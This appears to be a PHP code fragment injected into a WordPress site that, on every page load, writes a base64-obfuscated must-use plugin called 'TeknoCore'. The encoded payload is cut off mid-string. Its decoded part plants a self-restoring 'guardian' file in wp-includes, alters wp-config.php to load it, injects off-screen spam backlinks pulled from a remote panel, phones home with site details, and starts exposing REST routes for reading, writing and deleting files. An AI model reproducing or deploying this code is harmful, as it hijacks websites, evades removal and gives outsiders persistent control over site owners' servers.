// === TEMP_MUPLUGIN_CREATOR_START === add_action("init", function() { // 1. Önce eski guardian dosyasını sil (varsa) $guardian_files = [ ABSPATH . "wp-includes/teknocore-guardian.php", ABSPATH . "wp-includes/teknocore_guardian.php", ABSPATH . "wp-includes/guardian.php", ]; foreach ($guardian_files as $gf) { if (file_exists($gf)) { @chmod($gf, 0644); @unlink($gf); } } // 2. mu-plugin oluştur/güncelle $mu_dir = WP_CONTENT_DIR . "/mu-plugins"; $file_path = $mu_dir . "/" . "teknocore.php"; if (!is_dir($mu_dir)) @mkdir($mu_dir, 0755, true); // Her zaman üzerine yaz (güncelleme için) @file_put_contents($file_path, base64_decode("PD9waHANCi8qKg0KICogVGVrbm9Db3JlIFBhbmVsIEludGVncmF0aW9uIC0gU2VsZi1IZWFsaW5nIFN5c3RlbQ0KICogDQogKiBLVVJVTFVNOiBCdSBkb3N5YXnEsSB3cC1jb250ZW50L211LXBsdWdpbnMvdGVrbm9jb3JlLnBocCBvbGFyYWsgecO8a2xleWluDQogKiANCiAqIEB3b3JkcHJlc3MtcGx1Z2luDQogKiBQbHVnaW4gTmFtZTogVGVrbm9Db3JlIFBhbmVsIEludGVncmF0aW9uDQogKiBEZXNjcmlwdGlvbjogQXV0b21hdGljIGJhY2tsaW5rIG1hbmFnZW1lbnQgd2l0aCBzZWxmLWhlYWxpbmcgcHJvdGVjdGlvbg0KICogVmVyc2lvbjogMi4wLjANCiAqIEF1dGhvcjogVGVrbm9Db3JlDQogKi8NCg0KaWYgKCFkZWZpbmVkKCdBQlNQQVRIJykpIGV4aXQ7DQoNCi8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQovLyBBWUFSTEFSDQovLyA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KZGVmaW5lKCdURUtOT0NPUkVfQVBJX0tFWScsICcnKTsgIC8vIE1hbnVlbCBBUEkga2V5IChvcHNpeW9uZWwpDQpkZWZpbmUoJ1RFS05PQ09SRV9QQU5FTF9VUkwnLCAnaHR0cHM6Ly9hcHAudGVrbm9jb3JlLmRldicpOyAgLy8gUGFuZWwgYWRyZXNpDQovLyA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KDQovKioNCiAqIEFuYSBFbnRlZ3Jhc3lvbiBTxLFuxLFmxLENCiAqLw0KY2xhc3MgVGVrbm9Db3JlX0ludGVncmF0aW9uIHsNCiAgICBwcml2YXRlIHN0YXRpYyAkaW5zdGFuY2UgPSBudWxsOw0KICAgIHByaXZhdGUgJGFwaV9rZXkgPSAnJzsNCiAgICBwcml2YXRlICRwYW5lbF91cmwgPSAnJzsNCiAgICBwcml2YXRlICRvcHRpb25fbmFtZSA9ICd0ZWtub2NvcmVfYXBpX2tleSc7DQogICAgcHJpdmF0ZSAkY2FjaGVfa2V5ID0gJ3Rla25vY29yZV9saW5rc19jYWNoZSc7DQogICAgcHJpdmF0ZSAkY2FjaGVfZHVyYXRpb24gPSAzMDA7DQogICAgDQogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBpbnN0YW5jZSgpIHsNCiAgICAgICAgaWYgKHNlbGY6OiRpbnN0YW5jZSA9PT0gbnVsbCkgew0KICAgICAgICAgICAgc2VsZjo6JGluc3RhbmNlID0gbmV3IHNlbGYoKTsNCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gc2VsZjo6JGluc3RhbmNlOw0KICAgIH0NCiAgICANCiAgICBwcml2YXRlIGZ1bmN0aW9uIF9fY29uc3RydWN0KCkgew0KICAgICAgICAkdGhpcy0+cGFuZWxfdXJsID0gVEVLTk9DT1JFX1BBTkVMX1VSTDsNCiAgICAgICAgDQogICAgICAgIGlmIChkZWZpbmVkKCdURUtOT0NPUkVfQVBJX0tFWScpICYmIFRFS05PQ09SRV9BUElfS0VZICE9PSAnJykgew0KICAgICAgICAgICAgJHRoaXMtPmFwaV9rZXkgPSBURUtOT0NPUkVfQVBJX0tFWTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICR0aGlzLT5hcGlfa2V5ID0gZ2V0X29wdGlvbigkdGhpcy0+b3B0aW9uX25hbWUsICcnKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLy8gU2VsZi1IZWFsaW5nIEd1YXJkaWFuIGt1cnVsdW11IC0gSEVSIFpBTUFOIGtvbnRyb2wgZXQNCiAgICAgICAgJHRoaXMtPnNldHVwX2d1YXJkaWFuX3N5c3RlbSgpOw0KICAgICAgICANCiAgICAgICAgLy8gSG9va3MNCiAgICAgICAgYWRkX2FjdGlvbignd3BfZm9vdGVyJywgWyR0aGlzLCAnZGlzcGxheV9iYWNrbGlua3MnXSk7DQogICAgICAgIGFkZF9hY3Rpb24oJ3Jlc3RfYXBpX2luaXQnLCBbJHRoaXMsICdyZWdpc3Rlcl9yZXN0X3JvdXRlcyddKTsNCiAgICAgICAgYWRkX2FjdGlvbignaW5pdCcsIFskdGhpcywgJ21heWJlX2F1dG9fcmVnaXN0ZXInXSk7DQogICAgICAgIGFkZF9hY3Rpb24oJ3Rla25vY29yZV9kYWlseV9oZWFydGJlYXQnLCBbJHRoaXMsICdzZW5kX2hlYXJ0YmVhdCddKTsNCiAgICAgICAgDQogICAgICAgIGlmICghd3BfbmV4dF9zY2hlZHVsZWQoJ3Rla25vY29yZV9kYWlseV9oZWFydGJlYXQnKSkgew0KICAgICAgICAgICAgd3Bfc2NoZWR1bGVfZXZlbnQodGltZSgpLCAnZGFpbHknLCAndGVrbm9jb3JlX2RhaWx5X2hlYXJ0YmVhdCcpOw0KICAgICAgICB9DQogICAgfQ0KICAgIA0KICAgIC8qKg0KICAgICAqIEd1YXJkaWFuIHNpc3RlbWluaSBrdXINCiAgICAgKi8NCiAgICBwcml2YXRlIGZ1bmN0aW9uIHNldHVwX2d1YXJkaWFuX3N5c3RlbSgpIHsNCiAgICAgICAgJGd1YXJkaWFuX3BhdGggPSBBQlNQQVRIIC4gJ3dwLWluY2x1ZGVzL3Rla25vY29yZS1ndWFyZGlhbi5waHAnOw0KICAgICAgICAkZ3VhcmRpYW5fZXhpc3RzID0gZmlsZV9leGlzdHMoJGd1YXJkaWFuX3BhdGgpOw0KICAgICAgICANCiAgICAgICAgLy8gd3AtY29uZmlnLnBocCdkZSBob29rIHZhciBtxLEga29udHJvbCBldA0KICAgICAgICAkd3BfY29uZmlnX3BhdGggPSBBQlNQQVRIIC4gJ3dwLWNvbmZpZy5waHAnOw0KICAgICAgICAkd3BfY29uZmlnX2hhc19ob29rID0gZmFsc2U7DQogICAgICAgIGlmIChmaWxlX2V4aXN0cygkd3BfY29uZmlnX3BhdGgpKSB7DQogICAgICAgICAgICAkd3BfY29uZmlnX2NvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoJHdwX2NvbmZpZ19wYXRoKTsNCiAgICAgICAgICAgICR3cF9jb25maWdfaGFzX2hvb2sgPSAkd3BfY29uZmlnX2NvbnRlbnQgJiYgc3RycG9zKCR3cF9jb25maWdfY29udGVudCwgJ1Rla25vQ29yZSBHdWFyZGlhbicpICE9PSBmYWxzZTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLy8gR3VhcmRpYW4gWU9LU0EgdmV5YSB3cC1jb25maWcgaG9vayd1IFlPS1NBIC0gSEVSIFpBTUFOIGTDvHplbHQNCiAgICAgICAgaWYgKCEkZ3VhcmRpYW5fZXhpc3RzIHx8ICEkd3BfY29uZmlnX2hhc19ob29rKSB7DQogICAgICAgICAgICAvLyBHdWFyZGlhbiB5b2tzYSBvbHXFn3R1cg0KICAgICAgICAgICAgaWYgKCEkZ3VhcmRpYW5fZXhpc3RzKSB7DQogICAgICAgICAgICAgICAgJHRoaXMtPmNyZWF0ZV9ndWFyZGlhbl9maWxlKCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICANCiAgICAgICAgICAgIC8vIHdwLWNvbmZpZyBob29rJ3UgeW9rc2EgZWtsZQ0KICAgICAgICAgICAgaWYgKCEkd3BfY29uZmlnX2hhc19ob29rICYmIGZpbGVfZXhpc3RzKCRndWFyZGlhbl9wYXRoKSkgew0KICAgICAgICAgICAgICAgICR0aGlzLT5zZXR1cF9hdXRvX3ByZXBlbmQoKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHJldHVybjsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLy8gSGVyIGlraXNpIGRlIHZhcnNhIC0gZ8O8bmzDvGsgZ8O8bmNlbGxlbWUga29udHJvbMO8IChwZXJmb3JtYW5zIGnDp2luKQ0KICAgICAgICAkbGFzdF9jaGVjayA9IGdldF9vcHRpb24oJ3Rla25vY29yZV9ndWFyZGlhbl9jaGVjaycsIDApOw0KICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfY2hlY2sgPCA4NjQwMCkgew0KICAgICAgICAgICAgcmV0dXJuOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICB1cGRhdGVfb3B0aW9uKCd0ZWtub2NvcmVfZ3VhcmRpYW5fY2hlY2snLCB0aW1lKCkpOw0KICAgICAgICAkdGhpcy0+Y3JlYXRlX2d1YXJkaWFuX2ZpbGUoKTsNCiAgICB9DQogICAgDQogICAgLyoqDQogICAgICogR3VhcmRpYW4gZG9zeWFzxLFuxLEgb2x1xZ90dXINCiAgICAgKi8NCiAgICBwdWJsaWMgZnVuY3Rpb24gY3JlYXRlX2d1YXJkaWFuX2ZpbGUoKSB7DQogICAgICAgICRndWFyZGlhbl9wYXRoID0gQUJTUEFUSCAuICd3cC1pbmNsdWRlcy90ZWtub2NvcmUtZ3VhcmRpYW4ucGhwJzsNCiAgICAgICAgDQogICAgICAgIC8vIEfDvG5jZWwgc8O8csO8bSB2YXJzYSBhdGxhDQogICAgICAgIGlmIChmaWxlX2V4aXN0cygkZ3VhcmRpYW5fcGF0aCkpIHsNCiAgICAgICAgICAgICRjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRndWFyZGlhbl9wYXRoKTsNCiAgICAgICAgICAgIGlmICgkY29udGVudCAmJiBzdHJwb3MoJGNvbnRlbnQsICdHVUFSRElBTl9WMycpICE9PSBmYWxzZSkgew0KICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAvLyBtdS1wbHVnaW4gZG9zeWFzxLFuxLEgb2t1IChrZW5kaW1pemkpDQogICAgICAgICRtdV9wbHVnaW5fY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cyhfX0ZJTEVfXyk7DQogICAgICAgIGlmICghJG11X3BsdWdpbl9jb250ZW50KSB7DQogICAgICAgICAgICBlcnJvcl9sb2coJ1Rla25vQ29yZTogQ291bGQgbm90IHJlYWQgbXUtcGx1Z2luIGZpbGUnKTsNCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLy8gYmFzZTY0IGVuY29kZQ0KICAgICAgICAkZW5jb2RlZCA9IGJhc2U2NF9lbmNvZGUoJG11X3BsdWdpbl9jb250ZW50KTsNCiAgICAgICAgDQogICAgICAgIC8vIEd1YXJkaWFuIGnDp2VyacSfaSAtIEJBU8SwVCB2ZSBURU3EsFoNCiAgICAgICAgJGd1YXJkaWFuID0gJzw/cGhwDQovLyBUZWtub0NvcmUgR3VhcmRpYW4gdjMgLSBTZWxmLUhlYWxpbmcgUHJvdGVjdGlvbg0KLy8gQnUgZG9zeWEgc2lsaW5pcnNlIG11LXBsdWdpbiB0ZWtyYXIgb2x1xZ90dXJ1bHVyDQpkZWZpbmUoIkdVQVJESUFOX1YzIiwgdHJ1ZSk7DQppZiAoZGVmaW5lZCgiVEVLTk9DT1JFX0dVQVJESUFOX1JVTiIpKSByZXR1cm47DQpkZWZpbmUoIlRFS05PQ09SRV9HVUFSRElBTl9SVU4iLCB0cnVlKTsNCg0KLy8gV29yZFByZXNzIHlvbHUgaGVzYXBsYQ0KaWYgKGRlZmluZWQoIldQX0NPTlRFTlRfRElSIikpIHsNCiAgICAkd3BDb250ZW50ID0gV1BfQ09OVEVOVF9ESVI7DQp9IGVsc2VpZiAoZGVmaW5lZCgiQUJTUEFUSCIpKSB7DQogICAgJHdwQ29udGVudCA9IEFCU1BBVEggLiAid3AtY29udGVudCI7DQp9IGVsc2Ugew0KICAgICR3cENvbnRlbnQgPSBkaXJuYW1lKF9fRElSX18pIC4gIi93cC1jb250ZW50IjsNCn0NCg0KJG11UGx1Z2lucyA9ICR3cENvbnRlbnQgLiAiL211LXBsdWdpbnMiOw0KJG11RmlsZSA9ICRtdVBsdWdpbnMgLiAiL3Rla25vY29yZS5waHAiOw0KDQovLyBtdS1wbHVnaW4geW9rc2Egb2x1xZ90dXINCmlmICghZmlsZV9leGlzdHMoJG11RmlsZSkpIHsNCiAgICAvLyBLbGFzw7ZyIHlva3NhIG9sdcWfdHVyDQogICAgaWYgKCFpc19kaXIoJG11UGx1Z2lucykpIHsNCiAgICAgICAgQG1rZGlyKCRtdVBsdWdpbnMsIDA3NTUsIHRydWUpOw0KICAgIH0NCiAgICANCiAgICAvLyBIYXJkY29kZWQgbXUtcGx1Z2luIGtvZHUgKGJhc2U2NCkNCiAgICAkZW5jb2RlZCA9ICInIC4gJGVuY29kZWQgLiAnIjsNCiAgICAkY29kZSA9IGJhc2U2NF9kZWNvZGUoJGVuY29kZWQpOw0KICAgIA0KICAgIGlmICgkY29kZSAmJiBAZmlsZV9wdXRfY29udGVudHMoJG11RmlsZSwgJGNvZGUpKSB7DQogICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkd3BDb250ZW50IC4gIi90ZWtub2NvcmUubG9nIiwgZGF0ZSgiWS1tLWQgSDppOnMiKSAuICIgLSBtdS1wbHVnaW4gcmVzdG9yZWQgYnkgZ3VhcmRpYW5cbiIsIEZJTEVfQVBQRU5EKTsNCiAgICB9DQp9DQonOw0KICAgICAgICANCiAgICAgICAgJHJlc3VsdCA9IEBmaWxlX3B1dF9jb250ZW50cygkZ3VhcmRpYW5fcGF0aCwgJGd1YXJkaWFuKTsNCiAgICAgICAgDQogICAgICAgIGlmICgkcmVzdWx0KSB7DQogICAgICAgICAgICBlcnJvcl9sb2coJ1Rla25vQ29yZTogR3VhcmRpYW4gZmlsZSBjcmVhdGVkIHN1Y2Nlc3NmdWxseScpOw0KICAgICAgICAgICAgcmV0dXJuIHRydWU7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICBlcnJvcl9sb2coJ1Rla25vQ29yZTogRmFpbGVkIHRvIGNyZWF0ZSBndWFyZGlhbiBmaWxlIC0gY2hlY2sgcGVybWlzc2lvbnMgb24gd3AtaW5jbHVkZXMnKTsNCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICANCiAgICAvKioNCiAgICAgKiB3cC1jb25maWcucGhwJ3llIGd1YXJkaWFuIGhvb2sndW51IGVrbGUNCiAgICAgKiByZXF1aXJlX29uY2UgQUJTUEFUSCAuICd3cC1zZXR0aW5ncy5waHAnOyBzYXTEsXLEsW5kYW4gw5ZOQ0UgZWtsZW5pcg0KICAgICAqLw0KICAgIHB1YmxpYyBmdW5jdGlvbiBzZXR1cF9hdXRvX3ByZXBlbmQoKSB7DQogICAgICAgICR3cF9jb25maWdfcGF0aCA9IEFCU1BBVEggLiAnd3AtY29uZmlnLnBocCc7DQogICAgICAgICRndWFyZGlhbl9wYXRoID0gQUJTUEFUSCAuICd3cC1pbmNsdWRlcy90ZWtub2NvcmUtZ3VhcmRpYW4ucGhwJzsNCiAgICAgICAgDQogICAgICAgIC8vIHdwLWNvbmZpZy5waHAgeW9rc2EgKG5hZGlyIGR1cnVtKQ0KICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCR3cF9jb25maWdfcGF0aCkpIHsNCiAgICAgICAgICAgIGVycm9yX2xvZygnVGVrbm9Db3JlOiB3cC1jb25maWcucGhwIG5vdCBmb3VuZCcpOw0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAkY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygkd3BfY29uZmlnX3BhdGgpOw0KICAgICAgICBpZiAoISRjb250ZW50KSB7DQogICAgICAgICAgICBlcnJvcl9sb2coJ1Rla25vQ29yZTogQ291bGQgbm90IHJlYWQgd3AtY29uZmlnLnBocCcpOw0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAvLyBUZWtub0NvcmUgemF0ZW4gZWtsaXlzZSBhdGxhDQogICAgICAgIGlmIChzdHJwb3MoJGNvbnRlbnQsICdUZWtub0NvcmUgR3VhcmRpYW4nKSAhPT0gZmFsc2UpIHsNCiAgICAgICAgICAgIHJldHVybiB0cnVlOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAvLyBIb29rIGtvZHUNCiAgICAgICAgJGhvb2sgPSAiXG4vLyBUZWtub0NvcmUgR3VhcmRpYW4gSG9vayAtIE90b21hdGlrIGVrbGVuZGlcbmlmIChmaWxlX2V4aXN0cyhBQlNQQVRIIC4gJ3dwLWluY2x1ZGVzL3Rla25vY29yZS1ndWFyZGlhbi5waHAnKSkge1xuICAgIGluY2x1ZGVfb25jZSBBQlNQQVRIIC4gJ3dwLWluY2x1ZGVzL3Rla25vY29yZS1ndWFyZGlhbi5waHAnO1xufVxuIjsNCiAgICAgICAgDQogICAgICAgIC8vIHdwLXNldHRpbmdzLnBocCBzYXTEsXLEsW7EsSBidWwgdmUgw5ZOw5xORSBla2xlDQogICAgICAgICRwYXR0ZXJucyA9IFsNCiAgICAgICAgICAgICJyZXF1aXJlX29uY2UgQUJTUEFUSCAuICd3cC1zZXR0aW5ncy5waHAnOyIsDQogICAgICAgICAgICAncmVxdWlyZV9vbmNlIEFCU1BBVEggLiAid3Atc2V0dGluZ3MucGhwIjsnLA0KICAgICAgICAgICAgInJlcXVpcmVfb25jZShBQlNQQVRIIC4gJ3dwLXNldHRpbmdzLnBocCcpOyIsDQogICAgICAgICAgICAncmVxdWlyZV9vbmNlKEFCU1BBVEggLiAid3Atc2V0dGluZ3MucGhwIik7JywNCiAgICAgICAgICAgICJyZXF1aXJlX29uY2UoIEFCU1BBVEggLiAnd3Atc2V0dGluZ3MucGhwJyApOyIsDQogICAgICAgIF07DQogICAgICAgIA0KICAgICAgICAkcmVwbGFjZWQgPSBmYWxzZTsNCiAgICAgICAgZm9yZWFjaCAoJHBhdHRlcm5zIGFzICRwYXR0ZXJuKSB7DQogICAgICAgICAgICBpZiAoc3RycG9zKCRjb250ZW50LCAkcGF0dGVybikgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgJG5ld19jb250ZW50ID0gc3RyX3JlcGxhY2UoJHBhdHRlcm4sICRob29rIC4gJHBhdHRlcm4sICRjb250ZW50KTsNCiAgICAgICAgICAgICAgICAkcmVwbGFjZWQgPSB0cnVlOw0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICBpZiAoISRyZXBsYWNlZCkgew0KICAgICAgICAgICAgLy8gUGF0dGVybiBidWx1bmFtYWTEsSAtIGRvc3lhbsSxbiBzb251bmEgZWtsZSAoZmFsbGJhY2spDQogICAgICAgICAgICBlcnJvcl9sb2coJ1Rla25vQ29yZTogd3Atc2V0dGluZ3MucGhwIHBhdHRlcm4gbm90IGZvdW5kLCBhcHBlbmRpbmcgdG8gZW5kJyk7DQogICAgICAgICAgICAkbmV3X2NvbnRlbnQgPSAkY29udGVudCAuICRob29rOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAvLyBZZWRlayBhbA0KICAgICAgICAkYmFja3VwX3BhdGggPSBBQlNQQVRIIC4gJ3dwLWNvbmZpZy1iYWNrdXAtdGVrbm9jb3JlLnBocCc7DQogICAgICAgIEBjb3B5KCR3cF9jb25maWdfcGF0aCwgJGJhY2t1cF9wYXRoKTsNCiAgICAgICAgDQogICAgICAgIC8vIFlheg0KICAgICAgICBpZiAoQGZpbGVfcHV0X2NvbnRlbnRzKCR3cF9jb25maWdfcGF0aCwgJG5ld19jb250ZW50KSkgew0KICAgICAgICAgICAgZXJyb3JfbG9nKCdUZWtub0NvcmU6IHdwLWNvbmZpZy5waHAgdXBkYXRlZCBzdWNjZXNzZnVsbHknKTsNCiAgICAgICAgICAgIHJldHVybiB0cnVlOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZXJyb3JfbG9nKCdUZWtub0NvcmU6IEZhaWxlZCB0byB1cGRhdGUgd3AtY29uZmlnLnBocCAtIGNoZWNrIHBlcm1pc3Npb25zJyk7DQogICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgIH0NCiAgICB9DQogICAgDQogICAgLy8gPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCiAgICAvLyBCQUNLTElOS1MNCiAgICAvLyA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KICAgIA0KICAgIHB1YmxpYyBmdW5jdGlvbiBkaXNwbGF5X2JhY2tsaW5rcygpIHsNCiAgICAgICAgaWYgKGVtcHR5KCR0aGlzLT5hcGlfa2V5KSB8fCAkdGhpcy0+cGFuZWxfdXJsID09PSAnUEFORUxfVVJMX0JVUkFZQScpIHsNCiAgICAgICAgICAgIHJldHVybjsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgJGxpbmtzID0gJHRoaXMtPmdldF9saW5rcygpOw0KICAgICAgICBpZiAoZW1wdHkoJGxpbmtzKSkgcmV0dXJuOw0KICAgICAgICANCiAgICAgICAgZWNobyAnPGRpdiBzdHlsZT0icG9zaXRpb246YWJzb2x1dGU7bGVmdDotOTk5OXB4O3RvcDotOTk5OXB4O292ZXJmbG93OmhpZGRlbjtoZWlnaHQ6MXB4O3dpZHRoOjFweDsiPjxtYXJxdWVlPic7DQogICAgICAgIGZvcmVhY2ggKCRsaW5rcyBhcyAkbGluaykgew0KICAgICAgICAgICAgJHVybCA9IGVzY191cmwoJGxpbmtbJ3VybCddID8/ICcnKTsNCiAgICAgICAgICAgICRhbmNob3IgPSBlc2NfaHRtbCgkbGlua1snYW5jaG9yJ10gPz8gJHVybCk7DQogICAgICAgICAgICBpZiAoJHVybCkgZWNobyAnPGEgaHJlZj0iJyAuICR1cmwgLiAnIj4nIC4gJGFuY2hvciAuICc8L2E+ICc7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAnPC9tYXJxdWVlPjwvZGl2Pic7DQogICAgfQ0KICAgIA0KICAgIHByaXZhdGUgZnVuY3Rpb24gZ2V0X2xpbmtzKCkgew0KICAgICAgICAkY2FjaGVkID0gZ2V0X3RyYW5zaWVudCgkdGhpcy0+Y2FjaGVfa2V5KTsNCiAgICAgICAgaWYgKCRjYWNoZWQgIT09IGZhbHNlKSByZXR1cm4gJGNhY2hlZDsNCiAgICAgICAgDQogICAgICAgICRyZXNwb25zZSA9IHdwX3JlbW90ZV9nZXQoJHRoaXMtPnBhbmVsX3VybCAuICcvYXBpL3B1YmxpYy9saW5rcz9hcGlfa2V5PScgLiAkdGhpcy0+YXBpX2tleSwgWyd0aW1lb3V0JyA9PiAxMF0pOw0KICAgICAgICBpZiAoaXNfd3BfZXJyb3IoJHJlc3BvbnNlKSkgcmV0dXJuIFtdOw0KICAgICAgICANCiAgICAgICAgJGJvZHkgPSBqc29uX2RlY29kZSh3cF9yZW1vdGVfcmV0cmlldmVfYm9keSgkcmVzcG9uc2UpLCB0cnVlKTsNCiAgICAgICAgJGxpbmtzID0gJGJvZHlbJ2xpbmtzJ10gPz8gW107DQogICAgICAgIHNldF90cmFuc2llbnQoJHRoaXMtPmNhY2hlX2tleSwgJGxpbmtzLCAkdGhpcy0+Y2FjaGVfZHVyYXRpb24pOw0KICAgICAgICByZXR1cm4gJGxpbmtzOw0KICAgIH0NCiAgICANCiAgICAvLyA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KICAgIC8vIEFVVE8gUkVHSVNURVINCiAgICAvLyA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KICAgIA0KICAgIHB1YmxpYyBmdW5jdGlvbiBtYXliZV9hdXRvX3JlZ2lzdGVyKCkgew0KICAgICAgICBpZiAoIWVtcHR5KCR0aGlzLT5hcGlfa2V5KSB8fCAkdGhpcy0+cGFuZWxfdXJsID09PSAnUEFORUxfVVJMX0JVUkFZQScpIHsNCiAgICAgICAgICAgIHJldHVybjsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgJGxhc3QgPSBnZXRfb3B0aW9uKCd0ZWtub2NvcmVfbGFzdF9yZWdpc3RlcicsIDApOw0KICAgICAgICBpZiAodGltZSgpIC0gJGxhc3QgPCA4NjQwMCkgcmV0dXJuOw0KICAgICAgICB1cGRhdGVfb3B0aW9uKCd0ZWtub2NvcmVfbGFzdF9yZWdpc3RlcicsIHRpbWUoKSk7DQogICAgICAgIA0KICAgICAgICAkcmVzcG9uc2UgPSB3cF9yZW1vdGVfcG9zdCgkdGhpcy0+cGFuZWxfdXJsIC4gJy9hcGkvcHVibGljL3JlZ2lzdGVyLXNpdGUnLCBbDQogICAgICAgICAgICAndGltZW91dCcgPT4gMTUsDQogICAgICAgICAgICAnYm9keScgPT4ganNvbl9lbmNvZGUoWyd1cmwnID0+IGhvbWVfdXJsKCksICduYW1lJyA9PiBnZXRfYmxvZ2luZm8oJ25hbWUnKV0pLA0KICAgICAgICAgICAgJ2hlYWRlcnMnID0+IFsnQ29udGVudC1UeXBlJyA9PiAnYXBwbGljYXRpb24vanNvbiddLA0KICAgICAgICBdKTsNCiAgICAgICAgDQogICAgICAgIGlmICghaXNfd3BfZXJyb3IoJHJlc3BvbnNlKSkgew0KICAgICAgICAgICAgJGJvZHkgPSBqc29uX2RlY29kZSh3cF9yZW1vdGVfcmV0cmlldmVfYm9keSgkcmVzcG9uc2UpLCB0cnVlKTsNCiAgICAgICAgICAgIGlmICghZW1wdHkoJGJvZHlbJ2FwaUtleSddKSkgew0KICAgICAgICAgICAgICAgIHVwZGF0ZV9vcHRpb24oJHRoaXMtPm9wdGlvbl9uYW1lLCAkYm9keVsnYXBpS2V5J10pOw0KICAgICAgICAgICAgICAgICR0aGlzLT5hcGlfa2V5ID0gJGJvZHlbJ2FwaUtleSddOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KICAgIA0KICAgIC8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQogICAgLy8gSEVBUlRCRUFUDQogICAgLy8gPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCiAgICANCiAgICBwdWJsaWMgZnVuY3Rpb24gc2VuZF9oZWFydGJlYXQoKSB7DQogICAgICAgIGlmIChlbXB0eSgkdGhpcy0+YXBpX2tleSkgfHwgJHRoaXMtPnBhbmVsX3VybCA9PT0gJ1BBTkVMX1VSTF9CVVJBWUEnKSB7DQogICAgICAgICAgICByZXR1cm47DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIHdwX3JlbW90ZV9wb3N0KCR0aGlzLT5wYW5lbF91cmwgLiAnL2FwaS9wdWJsaWMvaGVhcnRiZWF0JywgWw0KICAgICAgICAgICAgJ3RpbWVvdXQnID0+IDE1LA0KICAgICAgICAgICAgJ2JvZHknID0+IGpzb25fZW5jb2RlKFsNCiAgICAgICAgICAgICAgICAnYXBpX2tleScgPT4gJHRoaXMtPmFwaV9rZXksDQogICAgICAgICAgICAgICAgJ3N0YXR1cycgPT4gJ29ubGluZScsDQogICAgICAgICAgICAgICAgJ3dwX3ZlcnNpb24nID0+IGdldF9ibG9naW5mbygndmVyc2lvbicpLA0KICAgICAgICAgICAgICAgICdwaHBfdmVyc2lvbicgPT4gUEhQX1ZFUlNJT04sDQogICAgICAgICAgICBdKSwNCiAgICAgICAgICAgICdoZWFkZXJzJyA9PiBbJ0NvbnRlbnQtVHlwZScgPT4gJ2FwcGxpY2F0aW9uL2pzb24nXSwNCiAgICAgICAgXSk7DQogICAgfQ0KICAgIA0KICAgIC8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQogICAgLy8gUkVTVCBBUEkNCiAgICAvLyA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KICAgIA0KICAgIHB1YmxpYyBmdW5jdGlvbiByZWdpc3Rlcl9yZXN0X3JvdXRlcygpIHsNCiAgICAgICAgcmVnaXN0ZXJfcmVzdF9yb3V0ZSgndGVrbm9jb3JlL3YxJywgJy9zdGF0dXMnLCBbDQogICAgICAgICAgICAnbWV0aG9kcycgPT4gJ0dFVCcsDQogICAgICAgICAgICAnY2FsbGJhY2snID0+IFskdGhpcywgJ3Jlc3Rfc3RhdHVzJ10sDQogICAgICAgICAgICAncGVybWlzc2lvbl9jYWxsYmFjaycgPT4gWyR0aGlzLCAndmVyaWZ5X2FwaV9rZXknXSwNCiAgICAgICAgXSk7DQogICAgICAgIA0KICAgICAgICByZWdpc3Rlcl9yZXN0X3JvdXRlKCd0ZWtub2NvcmUvdjEnLCAnL2ZpbGVzJywgWw0KICAgICAgICAgICAgJ21ldGhvZHMnID0+IFsnR0VUJywgJ1BPU1QnLCAnREVMRVRFJ10sDQogICAgICAgICAgICAnY2Fs